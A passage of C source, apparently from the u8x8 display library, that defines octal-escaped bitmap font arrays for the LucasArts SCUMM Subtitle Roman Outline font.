\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\260\\236\\332\\332\\326\\324\\34\\60\\340\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\260\\234\\326\\322\\332\\322\\26<\\340\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\274\\224\\324\\334\\320\\334\\24\\64\\374\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\340\\260\\236\\333\\325\\325\\333\\36\\60\\340\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\320\\220\\260\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30sVd\\66\\22\\32\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\300`>\\232\\332\\326\\324\\34\\60\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\234\\324\\326\\332\\32>\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\300`<\\226\\322\\332\\322\\26<\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\300`<\\224\\324\\334\\324\\24<\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\16\\12\\372\\26\\24\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\366\\32\\32\\366\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\364\\34\\34\\364\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\334\\24\\24\\334pp\\334\\24\\24\\374\\0\\0\\0\\0\\0\\0\\17\\30\\20\\23\\26\\26\\33\\20\\20\\27\\34\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman Outline-Medium-R-Normal--32-320-72-72-P-107-ISO10646-1\n  Copyright: Copyright Goatmeal 2013  \u001cLucasArts SCUMM - Subtitle - Roman\n  Glyphs: 74/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_r[2916] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_r\") = \n  \" z\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0~\\303\\1\\1\\303~\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\22\\22\\37\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\21\\37\\37\\21\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\276\\222\\302b>\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300@@@@@@@\\300\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\22\\22\\36\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\214\\306c\\61\\37\\0\\0\\0\\0\\0\\37\\21\\30\\14\\6\\3\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\"\n  \"\\1\\0\\0\\0\\34\\26\\363\\1\\1\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\24\\27\\20\\20\\27\\24\\34\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\231\\315e=\\231\\303f<\\0\\0\\0\\0\\0\\34\\26\\23\\21\\24\\26\\27\\25\\24\\24\\34\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\371\\255\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\7\\15\\31\\23\\26\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\230\\314\\346\\363\\1\\1\\377\\200\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\36\\20\\20\\36\\3\\0\"\n  \"\\0\\0\\0\\0\\177AA]UU\\325\\225\\65e\\307\\0\\0\\0\\0\\0\\7\\15\\31\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\374\\6\\3\\231\\335U\\335\\231\\63v\\334\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\7\\5\\5\\345\\65\\35\\315e\\61\\31\\17\\0\\0\\0\\0\\0\\0\\0\\0\\37\\20\\20\\37\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\274\\346C\\31\\275\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\7\\14\\30\\23\\27\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0|\\306\\203\\71mEm\\71\\3\\6\\374\\0\\0\\0\\0\\0\\7\\15\\31\\23\\27\\25\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0xHHx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\11\\11\\17\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0xHHx\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77)\\61\\37\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\34\\26\\23\\231\\315e=\\231\\303f<\\0\\0\\0\\0\\0\\0\\0\\0\\37\\24\\24\\37\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\70\\16CqqG\\34p\\300\\0\\0\\0\\34\\26\\23\\20\\24\\37\\1\\1\\1\\1\\37\\24\"\n  \"\\21\\27\\34\\0\\7\\375\\1\\1\\275\\275\\231\\3f\\374\\200\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\27\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\31\\63!\\77\\0\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\22\\33\\15\\7\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\26\\23\\30\\14\\7\\1\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\275\\35\\15\\375\\31\\21\\37\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\27\\26\\27\\23\\21\\37\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\275\\35\\15\\375\\31\\21\\37\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\27\\36\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\305MYsa\\177\\300\\0\\0\\0\\1\\7\\14\\30\\23\\26\\25\\27\\33\\20\\20\\37\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\247\\247\\275\\1\\1\\375\\7\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\34\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\200\\200\\207\\375\\1\\1\\375\\7\\0\\0\\0\\0\\0\\0\\17\\31\\20\\22\\27\\23\\20\\30\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\235\\17g\\361\\231\\15\\5\\7\\0\\0\\0\\0\\34\\27\\20\\20\\27\\37\\36\\24\\21\\23\\26\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\5\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\24\\24\\24\\26\\23\\21\\37\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\361\\303\\16<\\16\\303\\361\\1\\1\\375\\7\\0\\34\\27\\20\\20\\27\\37\\3\\2\\3\\37\\27\\20\"\n  \"\\20\\27\\34\\0\\7\\375\\1\\1\\361\\307\\34\\177\\375\\1\\1\\375\\7\\0\\0\\0\\34\\27\\20\\20\\27\\37\\7\\34\\21\\20\\20\\27\"\n  \"\\34\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\245\\275\\231\\303f<\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\360\\34\\6\\343\\271\\15\\5\\15\\271\\343\\6\\34\\360\\0\\0\\0\\1\\7\\14\\30\\23\\66bFSX|\\7\"\n  \"\\1\\0\\0\\0\\7\\375\\1\\1\\275\\245\\275\\31C\\346\\274\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\35\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0<f\\303\\331\\231\\275\\65m{\\321\\237\\0\\0\\0\\0\\0\\37\\21\\33\\26\\25\\27\\23\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\37\\21\\31\\375\\1\\1\\375\\31\\21\\37\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\7\\7\\375\\1\\375\\7\\0\\0\\0\\0\\0\\0\\17\\30\\20\\23\\26\\26\\23\\30\\17\\0\\0\"\n  \"\\0\\0\\0\\0\\7}\\301\\1=\\347\\347=\\301}\\7\\0\\0\\0\\0\\0\\0\\0\\3\\36\\20\\21\\21\\36\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7}\\301\\1=\\347=\\1\\1=\\347\\347=\\301}\\7\\0\\0\\3\\36\\20\\21\\20\\36\\36\\20\\21\\21\"\n  \"\\36\\3\\0\\0\\7\\15\\31\\261\\345O\\30\\30O\\345\\261\\31\\15\\7\\0\\0\\34\\26\\23\\21\\24\\36\\3\\3\\36\\24\\21\\23\"\n  \"\\26\\34\\0\\0\\7\\35q\\301\\215\\77\\77\\215\\301q\\35\\7\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\37\\221\\331m\\65\\35\\215\\305a\\61\\37\\0\\0\\0\\0\\0\\37\\21\\20\\24\\26\\27\\25\\26\\23\\21\\37\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\22\\22\\22\\22\\22\\22\\22\\22\\22\\36\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\340\\260\\220\\320\\320\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\17\\31\\20\\26\\26\\26\\22\\30\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\237\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\0\\37\\20\\20\\33\\26\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\320\\220\\260\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\22\\32\\16\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\327\\235\\1\\1\\377\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\26\\33\\20\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\7\\14\\30\\22\\26\\26\\26\\22\\33\\17\\0\\0\"\n  \"\\0\\0\\0\\0p\\336\\3\\1\\335]q\\23\\36\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\330\\210(h\\370\\0\\0\\0\\0\\0{N\\304\\231\\273\\252\\273\\225\\306N{\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\277\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\34\\27\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0\\0\\376\\22\\22\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\376\\22\\22\\376\\0\\0\\0\\0\\0\\0\\0p\\320\\220\\260\\260\\237\\200\\300\\177\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\375\\367P\\220\\320Pp\\0\\0\\0\\0\\0\\34\\27\\20\\20\\25\\36\\36\\24\\21\\23\\26\\34\"\n  \"\\0\\0\\0\\0\\7\\375\\1\\1\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\260\\320\\20\\60\\220\\320\\20\\60\\340\\0\\0\\0\\34\\27\\20\\20\\27\\37\\20\\20\\27\\37\\20\\20\"\n  \"\\27\\34\\0\\0p\\320\\20\\20\\260\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\34\\37\\20\\20\\27\\34\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320P\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\24\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\260\\320\\320\\220\\60`\\300\\0\\0\\0\\0\\0\\300\\177\\0\\0{\\326\\26\\23\\30\\14\\7\\0\"\n  \"\\0\\0\\0\\0\\300`\\60\\220\\320\\320\\260\\20\\20\\360\\0\\0\\0\\0\\0\\0\\7\\14\\30\\23\\26\\326{\\0\\0\\177\\300\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\60\\220\\320\\320\\20\\60\\340\\0\\0\\0\\0\\0\\34\\27\\20\\20\\27\\35\\0\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\340\\60\\20P\\320\\320\\260\\20\\360\\0\\0\\0\\0\\0\\0\\0\\37\\21\\32\\26\\26\\24\\20\\31\\17\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\334\\6\\2\\336Pp\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\17\\30\\20\\27\\26\\32\\16\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\20\\20\\320pp\\320\\20\\20\\360\\0\\0\\0\\0\\0\\0\\17\\30\\20\\23\\26\\26\\33\\20\\20\\27\\34\"\n  \"\\0\\0\\0\\0p\\320\\220\\20P\\360\\360P\\20\\220\\320p\\0\\0\\0\\0\\0\\0\\3\\16\\30\\21\\21\\30\\16\\3\\0\\0\"\n  \"\\0\\0\\0\\0p\\320\\220\\20P\\360\\360P\\20\\20P\\360\\0\\360P\\220\\0\\0\\3\\16\\30\\21\\21\\30\\16\\16\\30\\21\"\n  \"\\27\\31\\16\\3pP\\320\\220\\20p\\300p\\20\\220\\320Pp\\0\\0\\0\\34\\24\\26\\23\\21\\34\\6\\34\\21\\23\\26\\24\"\n  \"\\34\\0\\0\\0p\\320\\220\\20P\\360\\200\\360\\320\\20\\320Pp\\0\\0\\0p\\320\\221\\263\\266\\234\\301c\\70\\16\\3\\0\"\n  \"\\0\\0\\0\\0\\360\\20\\220\\320\\320P\\20\\220\\320p\\0\\0\\0\\0\\0\\0\\35\\27\\23\\21\\24\\26\\27\\23\\21\\37\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman Outline-Medium-R-Normal--32-320-72-72-P-107-ISO10646-1\n  Copyright: Copyright Goatmeal 2013  \u001cLucasArts SCUMM - Subtitle - Roman\n  Glyphs: 16/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_o_2x2_n[868] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_o_2x2_n\") = \n  \" :\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300|$\\204\\304|\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\3\\2\\2\\2\\2\\2\\2\\2\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<$$<\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\214\\306b>\\0\\0\\0\\0\\0>#\\61\\30\\14\\6\\3\\1\\0\\0\\0\\0\"\n  